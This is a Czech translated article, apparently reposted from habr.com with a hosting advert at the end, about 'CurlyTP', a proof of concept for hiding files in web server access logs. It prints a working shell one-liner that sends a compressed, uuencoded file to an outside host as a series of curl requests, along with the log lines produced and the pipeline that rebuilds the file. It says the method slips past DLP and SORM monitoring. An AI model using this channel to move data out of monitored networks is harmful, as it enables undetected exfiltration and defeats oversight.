Výměna tajných zpráv přes serverové logy

Podle definice na Wikipedii je dead drop (tajný úkryt) nástrojem konspirace, který slouží k výměně informací nebo různých předmětů mezi lidmi využívajícími tajné místo. Podstata spočívá v tom, že se lidé nikdy nesetkávají, ale přesto si vyměňují informace, čímž si udržují operační bezpečnost.

Tajný úkryt by neměl přitahovat pozornost. V offline světě se často používají nenápadné předměty: volná cihla ve zdi, knihy v knihovně nebo dutina ve stromě.

Na internetu je k dispozici mnoho nástrojů pro šifrování a anonymizaci, ale samostatné použití těchto nástrojů přitahuje pozornost. Navíc mohou být na firemní nebo státní úrovni blokovány. Co dělat?

Vývojář Ryan Flowers navrhl zajímavou možnost — použít jako tajný úkryt jakýkoliv webový server. Když se nad tím zamyslíme, co webový server dělá? Přijímá požadavky, vydává soubory a zapisuje log. A zapíše do logu všechny požadavky, dokonce i nesprávné!

Tím pádem jakýkoliv webový server umožňuje uchovat v logu prakticky libovolnou zprávu. Flowers přemýšlel, jak toho využít.

Nabízí následující variantu:

  1. Vezmeme textový soubor (tajnou zprávu) a spočítáme hash (md5sum).
  2. Kódujeme ho (gzip+uuencode).
  3. Zapíšeme do logu prostřednictvím záměrně nesprávného požadavku na server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's\/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Pro přečtení souboru je nutné provést tyto operace v opačném pořadí: dekódovat a dekomprimovat soubor, porovnat hash (hash lze bezpečně přenést po otevřených kanálech).

Mezery jsou nahrazeny =+=, aby v adrese nebyly mezery. Program, který autor nazval CurlyTP, používá kódování base64, jako v přílohách e-mailů. Požadavek se provádí s klíčovým slovem ?transfer?, aby si příjemce snadno našel v logách.

Co vidíme v logách v takovém případě?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Jak již bylo řečeno, pro získání tajné zprávy je třeba provést operace v opačném pořadí:

Vzdálený stroj

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12 | awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces je snadno automatizovatelný. Md5sum se shoduje a obsah souboru potvrzuje, že bylo všechno správně dekódováno.

Metoda je velmi jednoduchá. „Smyslem tohoto cvičení je jen dokázat, že soubory mohou být přenášeny prostřednictvím nevinných malých webových požadavků, a to funguje na jakémkoli webovém serveru s běžnými textovými logy. V zásadě je každý webový server úložištěm!“, píše Flowers.

Samozřejmě, metoda funguje pouze v případě, že příjemce má přístup k serverovým logům. Takový přístup poskytuje například mnoho poskytovatelů hostingu.

Jak to použít?

Ryan Flowers říká, že není odborník na informační bezpečnost a nebude sestavovat seznam možných použití CurlyTP. Pro něj je to jen důkaz konceptu, že běžné nástroje, které vidíme každý den, lze používat netradičním způsobem.

Ve skutečnosti má tato metoda řadu výhod oproti jiným serverovým „úložištím“ typu Digital Dead Drop nebo PirateBox: nevyžaduje žádné zvláštní nastavení na straně serveru nebo žádné speciální protokoly — a nevzbudí podezření u těch, kteří sledují provoz. Je nepravděpodobné, že by SORM nebo systém DLP prohledávaly URL adresy na komprimované textové soubory.

Je to jeden ze způsobů, jak přenášet zprávy prostřednictvím servisních souborů. Můžeme si vzpomenout, jak dříve některé pokročilé společnosti umisťovaly inzeráty na pozice vývojářů do HTTP hlaviček nebo do kódu HTML stránek.

Výměna tajných zpráv přes serverové logy

Myšlenka byla, že tuto „velikonoční vajíčko“ uvidí pouze weboví vývojáři, protože normální člověk nebude procházet hlavičky nebo kód HTML.

Výměna tajných zpráv přes serverové logy

Zdroj: habr.com

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster